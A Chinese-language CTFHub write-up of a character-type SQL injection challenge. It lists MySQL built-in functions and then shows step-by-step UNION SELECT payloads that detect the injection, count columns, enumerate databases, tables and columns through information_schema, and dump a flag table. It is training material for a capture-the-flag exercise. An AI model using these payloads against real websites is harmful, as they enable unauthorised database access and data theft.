CTFHub | web—SQL注入（字符型注入）

字符型注入

一、题目：

二、小知识

MySQL数据库常用内置函数

1. 查看当前连接数据库的用户：user()
2. 查看当前数据库名：database()
3. 查看数据库版本：version()
4. 用户：@@hostname
5. 数据库的存储位置：@@datadir
6. 查看服务器的操作系统：@@version_compile_os
7. 无间隔连接两个字符串并传入数据库：concat(str1, str2)
   例如：select concat(name, password) from user
8. group_concat(str1, str2) 将多行结果以逗号分隔全部输出
9. group_ws(‘分隔符’, str1, str2) 用分隔符连接两个字段的字符串

其他

1. 在MySQL中，schema是数据库，schemata表提供有关数据库的信息。
2. select schema_name from information_schema.schemata;等价于show databases;
3. table_schema, table_name等分别是information_schema信息库的字段名

三、题解：

先输入1看看

有单引号

1. 判断是否存在注入

1. 加单引号 ’

输入：1’’

无法执行，因为加单引号后变成了三个单引号，最后一个单引号无法成对，所以语句执行失败

2. 输入：’ and 1=1

注意，–注释符后边有一个空格
因此，构造语句为：select * from table where name =’admin’ and 1=1 – ’ 可成功执行返回结果；

此时仍然无法注入

3. 加 ’and 1=2 –

此时sql语句为：select * from table where name=’admin’ and 1=2 --’ 则会报错

前段总结

如果满足以上三点，可以判断该url为字符型注入。
服务端的sql语句为：select 列 from 数据库.表 where name=‘$name’

2. 判断字段数（即表列数）

order by 列名
列名可以用列的序号（数字）表示

输入：1’ order by 数字

当无法正常显示时，说明字段数小于该数


3无显示，所以字段数(即列数)为2

3. 判断显示信息是第几列

输入：’ union select 1,2 – ’

说明显示的信息在第二列

4. 收集数据库信息(union联合查询)

查询用户权限

输入：’ union select 1, user() – ’

结果是root用户，说明可访问mysql自带的数据库information_schema，里面有我们想要的数据库名，表名，列名等

爆库

查数据库类型

输入：’ union select 1, version() – ’

查询结果为：MariaDB，是Mysql的一个分支，可以用mysql查询语句

查当前数据库名（爆库）

输入：’ union select 1, database() – ’

当前数据库为：sqli

ps: 如果要查所有数据库名

输入：’ union select 1, group_concat(schema_name) from information_schema.schemata – ’

有information_schema,performance_schema,mysql,sqli

ps:如果要查数据库中表的个数

输入：’ union select table_schema, count(*) from information_schema.tables – ’

查询结果有161个表

查sqli中的表名

输入：’ union select table_schema, group_concat(table_name) from information_schema.tables where table_schema=‘sqli’ – ’

查列名

输入：’ union select 1, (select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1) – ’

查询对应结果

输入：’ union select 1, group_concat(flag) from sqli.flag – ’

成功找到flag！